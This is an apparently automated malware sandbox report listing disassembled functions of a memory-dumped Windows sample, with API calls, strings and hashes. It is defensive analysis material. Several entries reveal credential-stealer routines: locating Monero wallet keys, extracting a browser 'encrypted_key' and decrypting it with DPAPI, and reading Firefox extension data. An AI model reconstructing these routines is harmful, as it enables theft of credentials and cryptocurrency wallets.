Function 00DAFED7 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00DAFF9E
___AdjustPointer.LIBCMT ref: 00DAFFC1
___AdjustPointer.LIBCMT ref: 00DB005D

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction ID: e125139a3a4cc496fa37a05f82a6f55edc1fceb5f0873a3e21f61909b3694e0f
Opcode Fuzzy Hash: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction Fuzzy Hash: 4A51E372501206EFEB259F94C841BBA7BA4FF02301F2841ADF90647591E731ED44DBB0

Function 00D3A560 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00D3A664

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Strings

v10, xrefs: 00D3A5C6
@, xrefs: 00D3A614
v20, xrefs: 00D3A571

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: AllocLocallstrcpy
String ID: @$v10$v20
API String ID: 2746078483-278772428
Opcode ID: 6cd9c885b3bef6623de324e75ea9d1dd23e5cb8be553c9e7216491e49727ddb6
Instruction ID: fa953001ec0828ae73674e904c9f6151165c72dea3986189e2a1ca409f312c90
Opcode Fuzzy Hash: 6cd9c885b3bef6623de324e75ea9d1dd23e5cb8be553c9e7216491e49727ddb6
Instruction Fuzzy Hash: E6511D75A50208AFDB24DFA8CD96BED7775EF44344F008118E94A5B291DBB0AA05CB71

Function 00D3F5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

Part of subcall function 00D3A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D3A13C
Part of subcall function 00D3A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D3A161
Part of subcall function 00D3A110: LocalAlloc.KERNEL32(00000040,?), ref: 00D3A181
Part of subcall function 00D3A110: ReadFile.KERNEL32(000000FF,?,00000000,00D3148F,00000000), ref: 00D3A1AA
Part of subcall function 00D3A110: LocalFree.KERNEL32(00D3148F), ref: 00D3A1E0
Part of subcall function 00D3A110: CloseHandle.KERNEL32(000000FF), ref: 00D3A1EA

Part of subcall function 00D48FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D48FE2

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00D51678,00D50D93), ref: 00D3F64C
lstrlen.KERNEL32(00000000), ref: 00D3F66B

Strings

moz-extension+++, xrefs: 00D3F6AD
^userContextId=4294967295, xrefs: 00D3F69C

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 03944c5f2eed8723c2bb1ffb69608740ee7d5922946e58fe378f5ca9cb8f827b
Instruction ID: 9fe6783b7628f380a9ed84990139616e9d32834b53ca4b0564e0607912bc5465
Opcode Fuzzy Hash: 03944c5f2eed8723c2bb1ffb69608740ee7d5922946e58fe378f5ca9cb8f827b
Instruction Fuzzy Hash: FD51F876D401089BDB04FFA8DDA2DEE7379EF54340F408569F91667191EE346A08CB72

Function 00D437B0 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: fe08e5ed42ff1b4013008160f79e299128a6aa6d52624c4593eb32e54df24672
Instruction ID: b61850637ef412c6ab703a06a45d690f9afc53da8840f486747365eec018f58c
Opcode Fuzzy Hash: fe08e5ed42ff1b4013008160f79e299128a6aa6d52624c4593eb32e54df24672
Instruction Fuzzy Hash: 01411C71D102099FDF04EFA8D855AEEB778EF58304F048418F91676290EB74AA08CFB2

Function 00D3A430 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D3A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D3A13C
Part of subcall function 00D3A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D3A161
Part of subcall function 00D3A110: LocalAlloc.KERNEL32(00000040,?), ref: 00D3A181
Part of subcall function 00D3A110: ReadFile.KERNEL32(000000FF,?,00000000,00D3148F,00000000), ref: 00D3A1AA
Part of subcall function 00D3A110: LocalFree.KERNEL32(00D3148F), ref: 00D3A1E0
Part of subcall function 00D3A110: CloseHandle.KERNEL32(000000FF), ref: 00D3A1EA

Part of subcall function 00D48FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D48FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00D3A489

Part of subcall function 00D3A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34F3E,00000000,00000000), ref: 00D3A23F
Part of subcall function 00D3A210: LocalAlloc.KERNEL32(00000040,?,?,?,00D34F3E,00000000,?), ref: 00D3A251
Part of subcall function 00D3A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00D34F3E,00000000,00000000), ref: 00D3A27A
Part of subcall function 00D3A210: LocalFree.KERNEL32(?,?,?,?,00D34F3E,00000000,?), ref: 00D3A28F

Part of subcall function 00D3A2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00D3A2D4
Part of subcall function 00D3A2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00D3A2F3
Part of subcall function 00D3A2B0: LocalFree.KERNEL32(?), ref: 00D3A323

Strings

DPAPI, xrefs: 00D3A4D9
, xrefs: 00D3A511
"encrypted_key":", xrefs: 00D3A480

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: df641449687349de258959993088d5af8792b29dcf596917ee66acb6c4d37972
Instruction ID: 5663922f891eef2f86ba33640a0f94dcd9c2059a75b06e11e3fe22935a775def
Opcode Fuzzy Hash: df641449687349de258959993088d5af8792b29dcf596917ee66acb6c4d37972
Instruction Fuzzy Hash: 2D3130B6E00209ABDF14DBE8DC45AEEB7B8EB58300F044518E941A7281E7359A04CB72

Function 00D48810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00D505BF), ref: 00D4885A
Process32First.KERNEL32(?,00000128), ref: 00D4886E
Process32Next.KERNEL32(?,00000128), ref: 00D48883

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

CloseHandle.KERNEL32(?), ref: 00D488F1

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: b4ac2d61025fd7b5b2bd54ea8ff332c1df42f707acf9bf72bec6a613ff118ad6
Instruction ID: 111e25152f21560d4dee23410535d4ac713a69a1fc51cfa37ba3a25ffd2eedbb
Opcode Fuzzy Hash: b4ac2d61025fd7b5b2bd54ea8ff332c1df42f707acf9bf72bec6a613ff118ad6
Instruction Fuzzy Hash: DC317A71941618ABDB25EF98DC92FEEB778FF44740F104199F50AA2190DB346A48CFB1

Function 00DAFDF7 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00DAFE13
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00DAFE2C

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction ID: 08290e109a52d4a9ba570d04301f52884285a04a3c0f21d756fd13feeea68974
Opcode Fuzzy Hash: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction Fuzzy Hash: CC018436209721EEF63427B45CD99A73694EB027B57384379F116851F2EF514D419170

Function 00D47B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00D50DE8,00000000,?), ref: 00D47B40
RtlAllocateHeap.NTDLL(00000000), ref: 00D47B47
GetLocalTime.KERNEL32(?,?,?,?,?,00D50DE8,00000000,?), ref: 00D47B54
wsprintfA.USER32 ref: 00D47B83

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 5d204927fd02996992cee66553a60fcbfd702815828d6e0f05e44c8ea7a0646c
Instruction ID: 99712059399eb5722fd17bd6027679aca86b1640f43d2a6fd05fe8c70c53b086
Opcode Fuzzy Hash: 5d204927fd02996992cee66553a60fcbfd702815828d6e0f05e44c8ea7a0646c
Instruction Fuzzy Hash: 86113CB2904118ABCB25DFC9DD45BBEB7B8FB4CB11F10421AF685A2284D33D5940C7B0

Function 00D49470 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00D43D3E,80000000,00000003,00000000,00000003,00000080,00000000,?,00D43D3E,?), ref: 00D4948C
GetFileSizeEx.KERNEL32(000000FF,00D43D3E), ref: 00D494A9
CloseHandle.KERNEL32(000000FF), ref: 00D494B7

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 513f7447382061c02ef604301a14d9c032e49ff4de8063828c8113dfcb9a2028
Instruction ID: 96cc898d4790bee4ebae124a9cbdf3ad8b765088d6bb2345fbd85403ecfeb8db
Opcode Fuzzy Hash: 513f7447382061c02ef604301a14d9c032e49ff4de8063828c8113dfcb9a2028
Instruction Fuzzy Hash: B7F0A934E00204BBD720DFB5DC54F9FB7B5AB48300F10C654F595A71C4D679A6018F54

Function 00D4CA72 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00D4CA7E

Part of subcall function 00D4C2A0: __amsg_exit.LIBCMT ref: 00D4C2B0

__getptd.LIBCMT ref: 00D4CA95
__amsg_exit.LIBCMT ref: 00D4CAA3
__updatetlocinfoEx_nolock.LIBCMT ref: 00D4CAC7

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 0d1d13c1b33c73dd78e96f73640996536e647382ac378ef8256fdd8d6408f447
Instruction ID: 8bc1737021676b3fb9fcb41a038733f74071776754b78cfdb5fde09cd0640ea0
